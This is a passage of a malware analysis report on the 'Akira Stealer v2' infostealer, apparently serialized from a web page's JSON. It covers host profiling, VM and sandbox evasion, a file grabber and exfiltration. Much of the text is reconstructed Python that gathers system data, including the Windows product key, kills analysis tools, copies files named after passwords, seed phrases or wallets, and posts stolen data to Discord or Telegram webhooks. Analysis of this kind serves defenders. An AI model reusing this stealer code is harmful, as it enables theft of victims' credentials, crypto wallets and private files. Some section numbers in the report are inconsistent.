os.getlogin()\n        self.computerName = os.getenv(\"computername\") or \"Unable to get computer name\"\n        self.system_info = f\"Computer Name: {self.computerName}\\n...\"\n        ...\n        self.ip = requests.get(url=\"https://api.ipify.org\").text\n        ipdata = json.loads(requests.post(url=f\"http://ip-api.com/json/{self.ip}\").text)\n        self.country = ipdata.get(\"country\")\n        self.countryCode = ipdata.get(\"countryCode\", \"\").lower()\n",[1546,14604,14605,14610,14615,14620,14625,14630,14635,14640,14645,14650],{"__ignoreMap":863},[1584,14606,14607],{"class":1586,"line":1587},[1584,14608,14609],{},"class Data:\n",[1584,14611,14612],{"class":1586,"line":864},[1584,14613,14614],{},"    def __init__(self):\n",[1584,14616,14617],{"class":1586,"line":1810},[1584,14618,14619],{},"        self.username = os.getlogin()\n",[1584,14621,14622],{"class":1586,"line":1827},[1584,14623,14624],{},"        self.computerName = os.getenv(\"computername\") or \"Unable to get computer name\"\n",[1584,14626,14627],{"class":1586,"line":2131},[1584,14628,14629],{},"        self.system_info = f\"Computer Name: {self.computerName}\\n...\"\n",[1584,14631,14632],{"class":1586,"line":2137},[1584,14633,14634],{},"        ...\n",[1584,14636,14637],{"class":1586,"line":2143},[1584,14638,14639],{},"        self.ip = requests.get(url=\"https://api.ipify.org\").text\n",[1584,14641,14642],{"class":1586,"line":2149},[1584,14643,14644],{},"        ipdata = json.loads(requests.post(url=f\"http://ip-api.com/json/{self.ip}\").text)\n",[1584,14646,14647],{"class":1586,"line":2155},[1584,14648,14649],{},"        self.country = ipdata.get(\"country\")\n",[1584,14651,14652],{"class":1586,"line":2161},[1584,14653,14654],{},"        self.countryCode = ipdata.get(\"countryCode\", \"\").lower()\n",[2733,14656,14657,14670],{},[2736,14658,14659,14662,14663,835,14666,14669],{},[1732,14660,14661],{},"Username & Hostname:"," Retrieved via ",[1546,14664,14665],{},"os.getlogin()",[1546,14667,14668],{},"COMPUTERNAME"," environment variable.",[2736,14671,14672,14675,14676,14679,14680,14682],{},[1732,14673,14674],{},"IP Address:"," Fetched with ",[1546,14677,14678],{},"requests.get(\"https://api.ipify.org\")",", then geolocated via ",[1546,14681,10844],{}," for country and ISO code.",[1667,14684,14686],{"id":14685},"_7102-os-and-hardware-enumeration","7.10.2 OS and Hardware Enumeration",[806,14688,1673],{},[806,14690,14691],{},"Using Windows Management Instrumentation (WMI) commands:",[1540,14693,14695],{"className":10008,"code":14694,"language":10010,"meta":863,"style":863},"# Operating System\nself.computerOS = subprocess.run('wmic os get Caption', shell=True, capture_output=True).stdout\n# Total Physical Memory\nself.totalMemory = subprocess.run('wmic computersystem get totalphysicalmemory', ...)\n# BIOS UUID\nself.uuid = subprocess.run('wmic csproduct get uuid', ...)\n# CPU Identifier\nself.cpu = subprocess.run(\"powershell Get-ItemPropertyValue -Path 'HKLM:System...\\Processor_Identifier'\", ...)\n# GPU Name\nself.gpu = subprocess.run('wmic path win32_VideoController get name', ...)\n# Windows Product Key\nself.productKey = subprocess.run(\"powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\\\\Microsoft\\\\Windows NT...SoftwareProtectionPlatform' -Name BackupProductKeyDefault\", ...)\n",[1546,14696,14697,14702,14707,14712,14717,14722,14727,14732,14737,14742,14747,14752],{"__ignoreMap":863},[1584,14698,14699],{"class":1586,"line":1587},[1584,14700,14701],{},"# Operating System\n",[1584,14703,14704],{"class":1586,"line":864},[1584,14705,14706],{},"self.computerOS = subprocess.run('wmic os get Caption', shell=True, capture_output=True).stdout\n",[1584,14708,14709],{"class":1586,"line":1810},[1584,14710,14711],{},"# Total Physical Memory\n",[1584,14713,14714],{"class":1586,"line":1827},[1584,14715,14716],{},"self.totalMemory = subprocess.run('wmic computersystem get totalphysicalmemory', ...)\n",[1584,14718,14719],{"class":1586,"line":2131},[1584,14720,14721],{},"# BIOS UUID\n",[1584,14723,14724],{"class":1586,"line":2137},[1584,14725,14726],{},"self.uuid = subprocess.run('wmic csproduct get uuid', ...)\n",[1584,14728,14729],{"class":1586,"line":2143},[1584,14730,14731],{},"# CPU Identifier\n",[1584,14733,14734],{"class":1586,"line":2149},[1584,14735,14736],{},"self.cpu = subprocess.run(\"powershell Get-ItemPropertyValue -Path 'HKLM:System...\\Processor_Identifier'\", ...)\n",[1584,14738,14739],{"class":1586,"line":2155},[1584,14740,14741],{},"# GPU Name\n",[1584,14743,14744],{"class":1586,"line":2161},[1584,14745,14746],{},"self.gpu = subprocess.run('wmic path win32_VideoController get name', ...)\n",[1584,14748,14749],{"class":1586,"line":10546},[1584,14750,14751],{},"# Windows Product Key\n",[1584,14753,14754],{"class":1586,"line":10552},[1584,14755,14756],{},"self.productKey = subprocess.run(\"powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\\\\Microsoft\\\\Windows NT...SoftwareProtectionPlatform' -Name BackupProductKeyDefault\", ...)\n",[806,14758,14759,14760,14763],{},"Results are parsed to human-readable strings (",[1546,14761,14762],{},"strip()",", index operations) and concatenated into:",[1540,14765,14767],{"className":10008,"code":14766,"language":10010,"meta":863,"style":863},"self.system_info = (\n    f\"Computer Name: {self.computerName}\\n\"\n    f\"Total Memory: {self.totalMemory}\\n\"\n    f\"CPU: {self.cpu}\\n\"\n    f\"GPU: {self.gpu}\\n\"\n    f\"Product Key: {self.productKey}\"\n)\n",[1546,14768,14769,14774,14779,14784,14789,14794,14799],{"__ignoreMap":863},[1584,14770,14771],{"class":1586,"line":1587},[1584,14772,14773],{},"self.system_info = (\n",[1584,14775,14776],{"class":1586,"line":864},[1584,14777,14778],{},"    f\"Computer Name: {self.computerName}\\n\"\n",[1584,14780,14781],{"class":1586,"line":1810},[1584,14782,14783],{},"    f\"Total Memory: {self.totalMemory}\\n\"\n",[1584,14785,14786],{"class":1586,"line":1827},[1584,14787,14788],{},"    f\"CPU: {self.cpu}\\n\"\n",[1584,14790,14791],{"class":1586,"line":2131},[1584,14792,14793],{},"    f\"GPU: {self.gpu}\\n\"\n",[1584,14795,14796],{"class":1586,"line":2137},[1584,14797,14798],{},"    f\"Product Key: {self.productKey}\"\n",[1584,14800,14801],{"class":1586,"line":2143},[1584,14802,10765],{},[1667,14804,14806],{"id":14805},"_7103-vm-detection-anti-sandbox-checks","7.10.3 VM Detection & Anti-Sandbox Checks",[806,14808,1673],{},[806,14810,14811,14812,14814],{},"Before deep profiling, the malware invokes ",[1546,14813,10181],{}," to detect virtualization or analysis environments:",[1540,14816,14818],{"className":10008,"code":14817,"language":10010,"meta":863,"style":863},"if VmProtect.isVM(1):\n    sys.exit()\n",[1546,14819,14820,14825],{"__ignoreMap":863},[1584,14821,14822],{"class":1586,"line":1587},[1584,14823,14824],{},"if VmProtect.isVM(1):\n",[1584,14826,14827],{"class":1586,"line":864},[1584,14828,14829],{},"    sys.exit()\n",[806,14831,14832],{},"Key checks include:",[2733,14834,14835,14841,14847,14853],{},[2736,14836,14837,14840],{},[1732,14838,14839],{},"Registry Keys & Driver Descriptors",": Queries virtualization-related registry entries.",[2736,14842,14843,14846],{},[1732,14844,14845],{},"Blacklisted UUIDs & Computer Names",": Matches against known VM fingerprints.",[2736,14848,14849,14852],{},[1732,14850,14851],{},"HTTP Simulation",": Attempts to connect to a nonexistent domain under HTTPS.",[2736,14854,14855,14858,14859,2285,14862,2285,14865,2491],{},[1732,14856,14857],{},"Process Blacklist",": Spawns a background thread to kill tools like ",[1546,14860,14861],{},"wireshark",[1546,14863,14864],{},"ollydbg",[1546,14866,14867],{},"ida64",[1667,14869,14871],{"id":14870},"_7104-packaging-transmission","7.10.4 Packaging & Transmission",[806,14873,1673],{},[806,14875,14876,14877,14880],{},"The collected ",[1546,14878,14879],{},"system_info",", IP, and country flag are embedded in the webhook payload headers:",[1540,14882,14884],{"className":10008,"code":14883,"language":10010,"meta":863,"style":863},"webhook_payload = {\n    \"embeds\": [{\n        \"title\": f\"💉 Infected {self.computerName}/{self.username} | {self.ip} {flag}\",\n        \"description\": description + \"\\n```⚙️ System Info\\n\" + self.system_info + \"```\",\n        \"fields\": [...]\n    }]\n}\nrequests.post(self.webhook_url, json=webhook_payload)\n",[1546,14885,14886,14891,14896,14901,14906,14911,14916,14920],{"__ignoreMap":863},[1584,14887,14888],{"class":1586,"line":1587},[1584,14889,14890],{},"webhook_payload = {\n",[1584,14892,14893],{"class":1586,"line":864},[1584,14894,14895],{},"    \"embeds\": [{\n",[1584,14897,14898],{"class":1586,"line":1810},[1584,14899,14900],{},"        \"title\": f\"💉 Infected {self.computerName}/{self.username} | {self.ip} {flag}\",\n",[1584,14902,14903],{"class":1586,"line":1827},[1584,14904,14905],{},"        \"description\": description + \"\\n```⚙️ System Info\\n\" + self.system_info + \"```\",\n",[1584,14907,14908],{"class":1586,"line":2131},[1584,14909,14910],{},"        \"fields\": [...]\n",[1584,14912,14913],{"class":1586,"line":2137},[1584,14914,14915],{},"    }]\n",[1584,14917,14918],{"class":1586,"line":2143},[1584,14919,7938],{},[1584,14921,14922],{"class":1586,"line":2149},[1584,14923,14924],{},"requests.post(self.webhook_url, json=webhook_payload)\n",[2733,14926,14927,14933],{},[2736,14928,14929,14932],{},[1732,14930,14931],{},"Flag Emoji",": Derived from ISO country code.",[2736,14934,14935,14938],{},[1732,14936,14937],{},"Fields",": Include counts of stolen passwords, cookies, etc., but the system info is in the embed description for immediate context.",[806,14940,14941,14944],{},[1732,14942,14943],{},"Summary:","\nSystem profiling in Akira Stealer v2 gathers comprehensive host and network data via WMI commands, environment variables, and IP geolocation. Coupled with VM detection and tool-killing routines, this ensures the attacker has a full snapshot of the compromised environment, enhancing targeted follow-up actions and filtering out analysis sandboxes.",[810,14946,14948,14949,2767],{"id":14947},"_711-file-grabber-class-utilssteal_files","7.11 File Grabber (Class: ",[1546,14950,14951],{},"Utils.steal_files",[806,14953,1531],{},[806,14955,14956],{},"Beyond browser data and tokens, Akira also attempts to extract valuable user-generated content—such as documents, spreadsheets, private notes, and cryptographic key files. The File Grabber module is responsible for this task. It operates by scanning high-value directories for common file types and patterns, then silently adding them to the exfiltration bundle. What makes this module especially dangerous is its simplicity and focus: it doesn’t attempt to crawl the entire file system. Instead, it targets specific, high-probability locations where sensitive files are typically stored. These include the Desktop, Documents, Downloads, and OneDrive directories—each relative to the user's home path. This focused approach improves both speed and stealth, reducing the likelihood of detection during the scan. It also avoids alerting the user by not accessing system or protected directories. Once files of interest are located, they are copied into a temporary folder, optionally renamed or grouped, and later compressed into the final ZIP archive that’s uploaded in the exfiltration phase.",[1667,14958,14960],{"id":14959},"_7111-target-directories-enumeration","7.11.1 Target Directories Enumeration",[806,14962,1673],{},[806,14964,14965],{},"The stealer focuses on four high-yield folders:",[1540,14967,14969],{"className":10008,"code":14968,"language":10010,"meta":863,"style":863},"searchFolders = [\n    \"Desktop\",\n    \"Documents\",\n    \"Downloads\",\n    \"OneDrive\"\n]\n",[1546,14970,14971,14976,14981,14986,14991,14996],{"__ignoreMap":863},[1584,14972,14973],{"class":1586,"line":1587},[1584,14974,14975],{},"searchFolders = [\n",[1584,14977,14978],{"class":1586,"line":864},[1584,14979,14980],{},"    \"Desktop\",\n",[1584,14982,14983],{"class":1586,"line":1810},[1584,14984,14985],{},"    \"Documents\",\n",[1584,14987,14988],{"class":1586,"line":1827},[1584,14989,14990],{},"    \"Downloads\",\n",[1584,14992,14993],{"class":1586,"line":2131},[1584,14994,14995],{},"    \"OneDrive\"\n",[1584,14997,14998],{"class":1586,"line":2137},[1584,14999,13440],{},[806,15001,15002],{},"Each folder is interpreted relative to the victim’s home directory:",[1540,15004,15006],{"className":10008,"code":15005,"language":10010,"meta":863,"style":863},"for folder in searchFolders:\n    current_path = os.path.join(os.environ['USERPROFILE'], folder)\n    if os.path.exists(current_path):\n        # proceed to scan\n",[1546,15007,15008,15013,15018,15023],{"__ignoreMap":863},[1584,15009,15010],{"class":1586,"line":1587},[1584,15011,15012],{},"for folder in searchFolders:\n",[1584,15014,15015],{"class":1586,"line":864},[1584,15016,15017],{},"    current_path = os.path.join(os.environ['USERPROFILE'], folder)\n",[1584,15019,15020],{"class":1586,"line":1810},[1584,15021,15022],{},"    if os.path.exists(current_path):\n",[1584,15024,15025],{"class":1586,"line":1827},[1584,15026,15027],{},"        # proceed to scan\n",[1667,15029,15031],{"id":15030},"_7112-keyword-extension-filtering","7.11.2 Keyword & Extension Filtering",[806,15033,1673],{},[806,15035,15036],{},[1732,15037,15038],{},"Keyword List",[806,15040,15041],{},"A predefined set of substrings guides file selection. Only filenames containing at least one keyword are considered:",[1540,15043,15045],{"className":10008,"code":15044,"language":10010,"meta":863,"style":863},"keywordsFiles = [\n    \"passw\", \"seed\", \"mnemo\", \"phrase\", \"login\", \"wallet\",\n    \"crypto\", \"token\", \"backup\", \"secret\", \"account\"\n]\n",[1546,15046,15047,15052,15057,15062],{"__ignoreMap":863},[1584,15048,15049],{"class":1586,"line":1587},[1584,15050,15051],{},"keywordsFiles = [\n",[1584,15053,15054],{"class":1586,"line":864},[1584,15055,15056],{},"    \"passw\", \"seed\", \"mnemo\", \"phrase\", \"login\", \"wallet\",\n",[1584,15058,15059],{"class":1586,"line":1810},[1584,15060,15061],{},"    \"crypto\", \"token\", \"backup\", \"secret\", \"account\"\n",[1584,15063,15064],{"class":1586,"line":1827},[1584,15065,13440],{},[2733,15067,15068,15084],{},[2736,15069,15070,15073,15074,15077,15078,835,15081,2491],{},[1732,15071,15072],{},"Partial Matches",": Keywords like ",[1546,15075,15076],{},"passw"," capture both ",[1546,15079,15080],{},"passwords.txt",[1546,15082,15083],{},"passw_backup.docx",[2736,15085,15086,15089],{},[1732,15087,15088],{},"Broad Coverage",": Encompasses authentication, wallet, crypto, and token-related terms.",[1667,15091,15093],{"id":15092},"_7113-allowed-file-types","7.11.3 Allowed File Types",[806,15095,1673],{},[806,15097,15098],{},"To minimize noise, a whitelist of extensions is enforced:",[1540,15100,15102],{"className":10008,"code":15101,"language":10010,"meta":863,"style":863},"allowed_extensions = [\n    \".txt\", \".doc\", \".docx\", \".pdf\", \".csv\", \".xls\", \".xlsx\",\n    \".jpg\", \".png\"\n]\n",[1546,15103,15104,15109,15114,15119],{"__ignoreMap":863},[1584,15105,15106],{"class":1586,"line":1587},[1584,15107,15108],{},"allowed_extensions = [\n",[1584,15110,15111],{"class":1586,"line":864},[1584,15112,15113],{},"    \".txt\", \".doc\", \".docx\", \".pdf\", \".csv\", \".xls\", \".xlsx\",\n",[1584,15115,15116],{"class":1586,"line":1810},[1584,15117,15118],{},"    \".jpg\", \".png\"\n",[1584,15120,15121],{"class":1586,"line":1827},[1584,15122,13440],{},[1667,15124,15126],{"id":15125},"_7113-size-constraint","7.11.3 Size Constraint",[806,15128,1673],{},[806,15130,15131],{},"Files larger than 2 megabytes are skipped to optimize exfiltration speed and avoid large transfers:",[1540,15133,15135],{"className":10008,"code":15134,"language":10010,"meta":863,"style":863},"file_size_mb = os.path.getsize(full_path) / (1024 * 1024)\nif file_size_mb \u003C= 2:\n    # eligible for copy\n",[1546,15136,15137,15142,15147],{"__ignoreMap":863},[1584,15138,15139],{"class":1586,"line":1587},[1584,15140,15141],{},"file_size_mb = os.path.getsize(full_path) / (1024 * 1024)\n",[1584,15143,15144],{"class":1586,"line":864},[1584,15145,15146],{},"if file_size_mb \u003C= 2:\n",[1584,15148,15149],{"class":1586,"line":1810},[1584,15150,15151],{},"    # eligible for copy\n",[1667,15153,15155],{"id":15154},"_7114-recursive-scanning-copy-logic","7.11.4 Recursive Scanning & Copy Logic",[806,15157,1673],{},[806,15159,15160],{},"Once the high-value directories have been identified, Akira initiates a recursive scanning routine to traverse subfolders and locate files matching specific keywords and extensions. This phase is built for precision and stealth: only files that match pre-defined criteria—such as filenames containing sensitive keywords and approved filetypes—are considered. The logic ensures that only relevant, user-generated content is exfiltrated. It ignores system files, caches, and binaries, and limits the size of any single file to 2 MB to reduce upload size and detection risk. This scanning method is silent, efficient, and optimized for stealthy data theft in real-world environments. By copying matching files into a staging folder and maintaining a list of what was taken, Akira prepares the content for bundling and exfiltration—while minimizing duplication and operational noise.",[806,15162,15163,15164,15167],{},"The core routine ",[1546,15165,15166],{},"steal_files()"," operates as follows:",[1540,15169,15171],{"className":10008,"code":15170,"language":10010,"meta":863,"style":863},"@staticmethod\ndef steal_files():\n    stolen_files = set()\n    temp_folder = Utils.get_temp_folder()\n\n    for folder in searchFolders:\n        current_path = os.path.join(os.environ['USERPROFILE'], folder)\n        if os.path.exists(current_path):\n            for root, _, files in os.walk(current_path):\n                for file in files:\n                    lower = file.lower()\n                    # Keyword check\n                    if any(keyword in lower for keyword in keywordsFiles):\n                        ext = os.path.splitext(lower)[1]\n                        # Extension and size check\n                        if ext in allowed_extensions and os.path.getsize(os.path.join(root, file)) \u003C= 2 * 1024 * 1024:\n                            # Prepare destination\n                            files_dir = os.path.join(temp_folder, \"Files\")\n                            os.makedirs(files_dir, exist_ok=True)\n                            shutil.copy(os.path.join(root, file), os.path.join(files_dir, file))\n                            stolen_files.add(file)\n    data.stolen_files.extend(stolen_files)\n",[1546,15172,15173,15177,15182,15187,15192,15196,15201,15206,15211,15216,15221,15226,15231,15236,15241,15246,15251,15256,15261,15266,15271,15276],{"__ignoreMap":863},[1584,15174,15175],{"class":1586,"line":1587},[1584,15176,10498],{},[1584,15178,15179],{"class":1586,"line":864},[1584,15180,15181],{},"def steal_files():\n",[1584,15183,15184],{"class":1586,"line":1810},[1584,15185,15186],{},"    stolen_files = set()\n",[1584,15188,15189],{"class":1586,"line":1827},[1584,15190,15191],{},"    temp_folder = Utils.get_temp_folder()\n",[1584,15193,15194],{"class":1586,"line":2131},[1584,15195,9372],{"emptyLinePlaceholder":508},[1584,15197,15198],{"class":1586,"line":2137},[1584,15199,15200],{},"    for folder in searchFolders:\n",[1584,15202,15203],{"class":1586,"line":2143},[1584,15204,15205],{},"        current_path = os.path.join(os.environ['USERPROFILE'], folder)\n",[1584,15207,15208],{"class":1586,"line":2149},[1584,15209,15210],{},"        if os.path.exists(current_path):\n",[1584,15212,15213],{"class":1586,"line":2155},[1584,15214,15215],{},"            for root, _, files in os.walk(current_path):\n",[1584,15217,15218],{"class":1586,"line":2161},[1584,15219,15220],{},"                for file in files:\n",[1584,15222,15223],{"class":1586,"line":10546},[1584,15224,15225],{},"                    lower = file.lower()\n",[1584,15227,15228],{"class":1586,"line":10552},[1584,15229,15230],{},"                    # Keyword check\n",[1584,15232,15233],{"class":1586,"line":10558},[1584,15234,15235],{},"                    if any(keyword in lower for keyword in keywordsFiles):\n",[1584,15237,15238],{"class":1586,"line":10564},[1584,15239,15240],{},"                        ext = os.path.splitext(lower)[1]\n",[1584,15242,15243],{"class":1586,"line":10570},[1584,15244,15245],{},"                        # Extension and size check\n",[1584,15247,15248],{"class":1586,"line":10576},[1584,15249,15250],{},"                        if ext in allowed_extensions and os.path.getsize(os.path.join(root, file)) \u003C= 2 * 1024 * 1024:\n",[1584,15252,15253],{"class":1586,"line":10582},[1584,15254,15255],{},"                            # Prepare destination\n",[1584,15257,15258],{"class":1586,"line":10588},[1584,15259,15260],{},"                            files_dir = os.path.join(temp_folder, \"Files\")\n",[1584,15262,15263],{"class":1586,"line":10594},[1584,15264,15265],{},"                            os.makedirs(files_dir, exist_ok=True)\n",[1584,15267,15268],{"class":1586,"line":10600},[1584,15269,15270],{},"                            shutil.copy(os.path.join(root, file), os.path.join(files_dir, file))\n",[1584,15272,15273],{"class":1586,"line":10606},[1584,15274,15275],{},"                            stolen_files.add(file)\n",[1584,15277,15278],{"class":1586,"line":10612},[1584,15279,15280],{},"    data.stolen_files.extend(stolen_files)\n",[806,15282,15283],{},[1732,15284,15285],{},"Key points:",[4349,15287,15288,15296,15305,15314,15320],{},[2736,15289,15290,15295],{},[1732,15291,15292],{},[1546,15293,15294],{},"os.walk",": Recursively descends into subdirectories.",[2736,15297,15298,15301,15302,2491],{},[1732,15299,15300],{},"Case-insensitive matching",": Filenames are normalized via ",[1546,15303,15304],{},"lower()",[2736,15306,15307,15310,15311,15313],{},[1732,15308,15309],{},"Atomic copy",": Uses ",[1546,15312,13306],{}," to preserve file content.",[2736,15315,15316,15319],{},[1732,15317,15318],{},"Set of stolen filenames",": Prevents duplicate copies when the same file appears twice.",[2736,15321,15322,2540,15327,15330],{},[1732,15323,15324,15325],{},"Integration with ",[1546,15326,14583],{},[1546,15328,15329],{},"data.stolen_files"," accumulates the stolen file list for later reporting.",[1667,15332,15334],{"id":15333},"_7115-archiving-and-exfiltration","7.11.5 Archiving and Exfiltration",[806,15336,1673],{},[806,15338,15339,15340,15342],{},"After collection, the ",[1546,15341,13788],{}," folder is zipped and dispatched:",[1540,15344,15346],{"className":10008,"code":15345,"language":10010,"meta":863,"style":863},"# Archive\nUtils.zip_client_file()  # creates CLIENT.zip from temp_folder\n\n# Upload & Notify\nakira.sendFilesTG(Utils.get_temp_folder(), startup)\nhook.sendFilesTG(Utils.get_temp_folder(), startup)\n",[1546,15347,15348,15353,15358,15362,15367,15372],{"__ignoreMap":863},[1584,15349,15350],{"class":1586,"line":1587},[1584,15351,15352],{},"# Archive\n",[1584,15354,15355],{"class":1586,"line":864},[1584,15356,15357],{},"Utils.zip_client_file()  # creates CLIENT.zip from temp_folder\n",[1584,15359,15360],{"class":1586,"line":1810},[1584,15361,9372],{"emptyLinePlaceholder":508},[1584,15363,15364],{"class":1586,"line":1827},[1584,15365,15366],{},"# Upload & Notify\n",[1584,15368,15369],{"class":1586,"line":2131},[1584,15370,15371],{},"akira.sendFilesTG(Utils.get_temp_folder(), startup)\n",[1584,15373,15374],{"class":1586,"line":2137},[1584,15375,15376],{},"hook.sendFilesTG(Utils.get_temp_folder(), startup)\n",[2733,15378,15379,15394],{},[2736,15380,15381,15386,15387,2285,15389,2285,15391,9411],{},[1732,15382,15383],{},[1546,15384,15385],{},"zip_client_file()",": Compresses the entire temp directory, including ",[1546,15388,13788],{},[1546,15390,11842],{},[1546,15392,15393],{},"Passwords",[2736,15395,15396,15400,15401],{},[1732,15397,15398],{},[1546,15399,14564],{},": Posts the download link via Telegram or Discord webhook, listing each stolen filename:",[1540,15402,15404],{"className":10008,"code":15403,"language":10010,"meta":863,"style":863},"fields.append({\n\"name\": \"📂 Files\",\n\"value\": \"`\" + \"\\n\".join(data.stolen_files) + \"`\",\n\"inline\": False\n})\n",[1546,15405,15406,15411,15416,15421,15426],{"__ignoreMap":863},[1584,15407,15408],{"class":1586,"line":1587},[1584,15409,15410],{},"fields.append({\n",[1584,15412,15413],{"class":1586,"line":864},[1584,15414,15415],{},"\"name\": \"📂 Files\",\n",[1584,15417,15418],{"class":1586,"line":1810},[1584,15419,15420],{},"\"value\": \"`\" + \"\\n\".join(data.stolen_files) + \"`\",\n",[1584,15422,15423],{"class":1586,"line":1827},[1584,15424,15425],{},"\"inline\": False\n",[1584,15427,15428],{"class":1586,"line":2131},[1584,15429,15430],{},"})\n",[806,15432,15433],{},[1732,15434,15435],{},"Conclusion:",[806,15437,15438],{},"The File Grabber in Akira Stealer v2 systematically hunts for sensitive documents using keyword and extension filters, respects a 2 MB size cap for efficiency, and consolidates stolen items into an archive. Its design ensures both breadth (multiple folders) and precision (targeted filters), making it one of the most impactful stages of the malware’s lifecycle.",[810,15440,15442],{"id":15441},"_712-exfiltration-strategy","7.12 Exfiltration Strategy",[806,15444,1531],{},[806,15446,15447],{},"The exfiltration module handles harvested tokens and additional artifacts (cookies, autofills, logs) by staging them in a structured directory, compressing into an archive, uploading to multiple online file hosts, and sending detailed webhook notifications. This section deconstructs each step with file paths, domain endpoints, and code references for full traceability.",[1667,15449,15451],{"id":15450},"_7121-directory-layout-filenames","7.12.1 Directory Layout & Filenames",[806,15453,1673],{},[806,15455,15456],{},"Akira organizes all collected artifacts into a clean and hierarchical temporary directory structure. This design allows for efficient packaging and easy post-exfiltration review by the attacker. Each data category—such as Tokens, Cookies, Passwords, or Screenshots—is stored in its own subfolder under a root path named after the victim’s computer (e.g., DESKTOP1234). This structured layout ensures clarity, minimizes duplication, and streamlines the archiving and upload process. It also makes automated parsing or manual inspection much easier on the attacker side.",[1540,15458,15461],{"className":15459,"code":15460,"language":917},[1543],"C:\\Users\\User\\AppData\\Local\\Temp\\DESKTOP1234\\\n├─ Tokens\\\n│   ├ token_ab12cd34.txt\n│   └ token_ef56gh78.txt\n├─ Cookies\\\n│   ├ Chrome_Cookies.txt\n│   └ Discord_Cookies.txt\n├─ Autofill\\\n├─ Passwords\\\n├─ Logs\\\n└─ Screenshots\\\n",[1546,15462,15460],{"__ignoreMap":863},[1667,15464,15466],{"id":15465},"_7122-token-artifact-staging","7.12.2 Token & Artifact Staging",[806,15468,1673],{},[806,15470,15471],{},"Before exfiltration, Akira stages all relevant artifacts in the corresponding subfolders. Token values, for instance, are written into individual .txt files to facilitate quick scanning and validation. Cookies, autofill entries, and passwords are similarly written into structured text files named by browser. This step standardizes the data layout, enabling automated tooling to track what was harvested. It also ensures that the zip archive later reflects a predictable and attacker-friendly format, regardless of which modules were triggered.",[1540,15473,15475],{"className":10008,"code":15474,"language":10010,"meta":863,"style":863},"import os, shutil\n# Constants\nTMP = os.getenv('TEMP')\nROOT = os.path.join(TMP, os.getenv('COMPUTERNAME'))\n# Prepare structure\nfor sub in ['Tokens','Cookies','Autofill','Passwords','Logs','Screenshots']:\n    os.makedirs(os.path.join(ROOT, sub), exist_ok=True)\n# Save token\nwith open(os.path.join(ROOT, 'Tokens', f'token_{token[:8]}.txt'), 'w') as f:\n    f.write(token)\n",[1546,15476,15477,15482,15487,15492,15497,15502,15507,15512,15517,15522],{"__ignoreMap":863},[1584,15478,15479],{"class":1586,"line":1587},[1584,15480,15481],{},"import os, shutil\n",[1584,15483,15484],{"class":1586,"line":864},[1584,15485,15486],{},"# Constants\n",[1584,15488,15489],{"class":1586,"line":1810},[1584,15490,15491],{},"TMP = os.getenv('TEMP')\n",[1584,15493,15494],{"class":1586,"line":1827},[1584,15495,15496],{},"ROOT = os.path.join(TMP, os.getenv('COMPUTERNAME'))\n",[1584,15498,15499],{"class":1586,"line":2131},[1584,15500,15501],{},"# Prepare structure\n",[1584,15503,15504],{"class":1586,"line":2137},[1584,15505,15506],{},"for sub in ['Tokens','Cookies','Autofill','Passwords','Logs','Screenshots']:\n",[1584,15508,15509],{"class":1586,"line":2143},[1584,15510,15511],{},"    os.makedirs(os.path.join(ROOT, sub), exist_ok=True)\n",[1584,15513,15514],{"class":1586,"line":2149},[1584,15515,15516],{},"# Save token\n",[1584,15518,15519],{"class":1586,"line":2155},[1584,15520,15521],{},"with open(os.path.join(ROOT, 'Tokens', f'token_{token[:8]}.txt'), 'w') as f:\n",[1584,15523,15524],{"class":1586,"line":2161},[1584,15525,15526],{},"    f.write(token)\n",[2733,15528,15529,15532],{},[2736,15530,15531],{},"Tokens saved in separate small text files for quick inspection.",[2736,15533,15534,15535,15538,15539,2491],{},"Cookie dumps from ",[1546,15536,15537],{},"Chromium.GetCookies()"," written to ",[1546,15540,15541],{},"{Browser}_Cookies.txt",[1667,15543,15545],{"id":15544},"_7133-zip-archive-creation","7.13.3 ZIP Archive Creation",[806,15547,1673],{},[806,15549,15550,15551],{},"Once staging is complete, Akira compresses the entire directory into a single ZIP archive. The archive filename follows a consistent naming convention: ",[15552,15553,15554,15555],"computer-name",{},"_",[15556,15557,15558],"timestamp",{},".zip, using the host’s machine name and a UTC timestamp in ISO 8601 format. This ensures both uniqueness and chronological traceability. By walking the entire staging directory recursively, every file is preserved in its relative structure within the ZIP. This format simplifies bulk retrieval and inspection by attackers, especially if hundreds of victims are compromised in parallel.",[1540,15560,15562],{"className":10008,"code":15561,"language":10010,"meta":863,"style":863},"import zipfile, datetime\n\ndef create_archive(root_dir: str) -> str:\n    ts = datetime.datetime.utcnow().strftime('%Y%m%dT%H%M%SZ')\n    zip_name = os.path.basename(root_dir) + f'_{ts}.zip'\n    zip_path = os.path.join(os.path.dirname(root_dir), zip_name)\n    with zipfile.ZipFile(zip_path, 'w', zipfile.ZIP_DEFLATED) as zf:\n        for dirpath, _, files in os.walk(root_dir):\n            for fname in files:\n                full = os.path.join(dirpath, fname)\n                rel = os.path.relpath(full, root_dir)\n                zf.write(full, rel)\n    return zip_path\n",[1546,15563,15564,15569,15573,15578,15583,15588,15593,15598,15603,15608,15613,15618,15623],{"__ignoreMap":863},[1584,15565,15566],{"class":1586,"line":1587},[1584,15567,15568],{},"import zipfile, datetime\n",[1584,15570,15571],{"class":1586,"line":864},[1584,15572,9372],{"emptyLinePlaceholder":508},[1584,15574,15575],{"class":1586,"line":1810},[1584,15576,15577],{},"def create_archive(root_dir: str) -> str:\n",[1584,15579,15580],{"class":1586,"line":1827},[1584,15581,15582],{},"    ts = datetime.datetime.utcnow().strftime('%Y%m%dT%H%M%SZ')\n",[1584,15584,15585],{"class":1586,"line":2131},[1584,15586,15587],{},"    zip_name = os.path.basename(root_dir) + f'_{ts}.zip'\n",[1584,15589,15590],{"class":1586,"line":2137},[1584,15591,15592],{},"    zip_path = os.path.join(os.path.dirname(root_dir), zip_name)\n",[1584,15594,15595],{"class":1586,"line":2143},[1584,15596,15597],{},"    with zipfile.ZipFile(zip_path, 'w', zipfile.ZIP_DEFLATED) as zf:\n",[1584,15599,15600],{"class":1586,"line":2149},[1584,15601,15602],{},"        for dirpath, _, files in os.walk(root_dir):\n",[1584,15604,15605],{"class":1586,"line":2155},[1584,15606,15607],{},"            for fname in files:\n",[1584,15609,15610],{"class":1586,"line":2161},[1584,15611,15612],{},"                full = os.path.join(dirpath, fname)\n",[1584,15614,15615],{"class":1586,"line":10546},[1584,15616,15617],{},"                rel = os.path.relpath(full, root_dir)\n",[1584,15619,15620],{"class":1586,"line":10552},[1584,15621,15622],{},"                zf.write(full, 